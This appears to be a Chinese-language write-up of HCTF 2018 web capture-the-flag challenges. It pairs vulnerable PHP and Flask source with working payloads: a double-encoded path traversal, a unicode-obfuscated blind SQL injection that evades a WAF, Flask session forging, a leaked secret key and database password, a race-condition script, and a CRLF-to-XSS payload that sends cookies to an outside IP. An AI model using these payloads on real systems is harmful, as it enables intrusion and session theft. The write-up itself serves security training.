warmup
源码
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
和phpadmin的CVE-2018-12613利用点一样,利用?
的双重urlencode来绕过。
payload:
http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../ffffllllaaaagggg
kzone
描述
A script kid’s phishing website
www.zip有源码泄漏,在member.php中存在注入。
Member.php
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>
Safe.php
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>
cookie注入,unicode编码过waf。
payload:
admin' and (if(ascii(substr(database(),1,1))>10,sleep(3),1))#
⬇️
\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0028\u0069\u0066\u0028\u0061\u0073\u0063\u0069\u0069\u0028\u0073\u0075\u0062\u0073\u0074\u0072\u0028\u0064\u0061\u0074\u0061\u0062\u0061\u0073\u0065\u0028\u0029\u002c\u0031\u002c\u0031\u0029\u0029\u003e\u0031\u0030\u002c\u0073\u006c\u0065\u0065\u0070\u0028\u0033\u0029\u002c\u0031\u0029\u0029\u0023
写脚本盲注就ok。
hide and seek
描述
only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug
软连接读源码+season伪造
读/proc/self/environ
得到uwsgi配置文件。
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=323a960bcc1a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=
再去读UWSGI_INI
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
去读文件app/hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main.py
得到源码:
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
知道了他security_key的生成方式:app.config['SECRET_KEY'] = str(random.random()*100)
random.seed(uuid.getnode())
,种子是uuid.getnode()
,服务器mac地址的十进制数。
去读一下mac地址:/sys/class/net/eyh0/address
看一下原cookie的内容:{"username":"aaa"}
起个flask生成一下admin的session去替换cookie就ok了。
[要用python3]
admin
解法一:利用unicode编码
nodeprep.prepare
函数处理用户名造成的问题
def strlower(username):
username = nodeprep.prepare(username)
return username
注册一个ᴬdmin
,处理后变成Admin
,更改密码改的是admin
的密码,登陆就ok了。
解法二:伪造session
github能搜到源码https://github.com/woadsl1234/hctf_flask/
有security_key,我们就可以伪造session了,利用admin登陆就ok。
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
解法三:条件竞争
脚本
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
源码里改密码的username直接从session中取了。
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name #这
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name']) #这里造成了问题
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
bottle
Not hard, I believe you are the lucky one!
crlf+xss
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html?tdsourcetag=s_pctim_aiomsg
payload:
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0AX-XSS-Protection:0%0A%0A%3Cscript%3Elocation.href=`http://39.107.83.129/xss/?a=`%2bdocument.cookie%3C/script%3E
替换弹回来的cookie就OK了